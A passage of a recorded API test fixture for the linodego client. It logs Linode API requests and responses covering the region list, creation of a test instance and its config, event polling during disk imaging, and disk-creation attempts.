"Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-tuy48w96kb07","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 52557526, "label": "go-test-ins-wo-disk-tuy48w96kb07", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.126.8"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "11e347cfc64dbba3f7e89a20a0ccd5a7a061ae9f", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "735" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-y45wp22o1f6q","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557526/configs method: POST response: body: '{"id": 55574327, "label": "go-test-conf-y45wp22o1f6q", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557526 method: GET response: body: '{"id": 52557526, "label": "go-test-ins-wo-disk-tuy48w96kb07", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.126.8"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "11e347cfc64dbba3f7e89a20a0ccd5a7a061ae9f", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "735" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557526 method: GET response: body: '{"id": 52557526, "label": "go-test-ins-wo-disk-tuy48w96kb07", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.126.8"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "11e347cfc64dbba3f7e89a20a0ccd5a7a061ae9f", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "730" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_imagize","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":52557494,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 603809751, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 82, "time_remaining": null, "rate": null, "duration": 46.566205, "action": "disk_imagize", "username": "youjungk01", "entity": {"label": "go-test-ins-9u4r2x72sh2f", "id": 52557494, "type": "linode", "url": "/v4/linode/instances/52557494"}, "status": "started", "secondary_entity": {"id": 22831456, "type": "image", "label": "go-test-image-k1q17n34zu5s", "url": "/v4/images/private/22831456"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "558" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_imagize","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":52557494,"entity.type":"linode","id":{"+gte":603809751}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 603809751, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 87, "time_remaining": null, "rate": null, "duration": 61.61355, "action": "disk_imagize", "username": "youjungk01", "entity": {"label": "go-test-ins-9u4r2x72sh2f", "id": 52557494, "type": "linode", "url": "/v4/linode/instances/52557494"}, "status": "started", "secondary_entity": {"id": 22831456, "type": "image", "label": "go-test-image-k1q17n34zu5s", "url": "/v4/images/private/22831456"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "557" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_imagize","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":52557494,"entity.type":"linode","id":{"+gte":603809751}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 603809751, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 90, "time_remaining": null, "rate": null, "duration": 76.586905, "action": "disk_imagize", "username": "youjungk01", "entity": {"label": "go-test-ins-9u4r2x72sh2f", "id": 52557494, "type": "linode", "url": "/v4/linode/instances/52557494"}, "status": "started", "secondary_entity": {"id": 22831456, "type": "image", "label": "go-test-image-k1q17n34zu5s", "url": "/v4/images/private/22831456"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "558" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_imagize","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":52557494,"entity.type":"linode","id":{"+gte":603809751}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 603809751, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 91, "time_remaining": null, "rate": null, "duration": 91.554872, "action": "disk_imagize", "username": "youjungk01", "entity": {"label": "go-test-ins-9u4r2x72sh2f", "id": 52557494, "type": "linode", "url": "/v4/linode/instances/52557494"}, "status": "started", "secondary_entity": {"id": 22831456, "type": "image", "label": "go-test-image-k1q17n34zu5s", "url": "/v4/images/private/22831456"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "558" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_imagize","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":52557494,"entity.type":"linode","id":{"+gte":603809751}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 603809751, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 97.0, "action": "disk_imagize", "username": "youjungk01", "entity": {"label": "go-test-ins-9u4r2x72sh2f", "id": 52557494, "type": "linode", "url": "/v4/linode/instances/52557494"}, "status": "finished", "secondary_entity": {"id": 22831456, "type": "image", "label": "go-test-image-k1q17n34zu5s", "url": "/v4/images/private/22831456"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "552" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-disk-test-01y1r6anh3v9","size":2000,"image":"private/22831456","root_pass":"Ia9m*Nc(2Y8]{Ct@)b5@8Z4Cw21ng9+Y71PNfeS*KGM]um2jX\u0026O{y;2*[pLa91$3"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557526/disks method: POST response: body: '{"id": 104235329, "status": "not ready", "label": "go-disk-test-01y1r6anh3v9", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 1040}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "182" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-disk-test-6859uptct8f9","size":2000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557526/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Server: - nginx X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 BAD REQUEST code: 400 duration: "" - request: body: '{"label":"go-disk-test-6859uptct8f9","size":2000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557526/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, 